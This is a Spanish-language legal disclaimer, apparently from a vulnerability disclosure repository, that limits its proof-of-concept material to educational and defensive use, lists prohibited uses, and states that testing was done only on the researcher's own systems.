## Aviso Legal
Este repositorio se proporciona estrictamente con fines educativos, de investigación defensiva de seguridad y de reproducción de vulnerabilidades en entornos de laboratorio controlados.
La información y el código de prueba de concepto están destinados a ayudar a defensores, investigadores y proveedores a comprender y remediar la vulnerabilidad reportada.
El uso no autorizado o malicioso de este código contra sistemas sin permiso explícito puede violar las leyes y regulaciones aplicables.
El autor no fomenta ni condona actividades ilegales y no asume ninguna responsabilidad por el mal uso o daño causado por este material.

Este informe de divulgación de vulnerabilidades se proporciona para:
1. Investigación y educación en seguridad
2. Notificación al proveedor y desarrollo de parches
3. Protección de los usuarios finales
4. Fines académicos y de seguridad defensiva

**Usos Prohibidos:**
- Acceso no autorizado a sistemas informáticos
- Explotación maliciosa
- Cualquier actividad ilegal

El investigador realizó todas las pruebas en sistemas de propiedad personal en entornos controlados. No se realizó ningún acceso no autorizado a sistemas de terceros.

**Versión del Informe:** 1.0  
**Última Actualización:** 9 de febrero de 2026
Descargar herramienta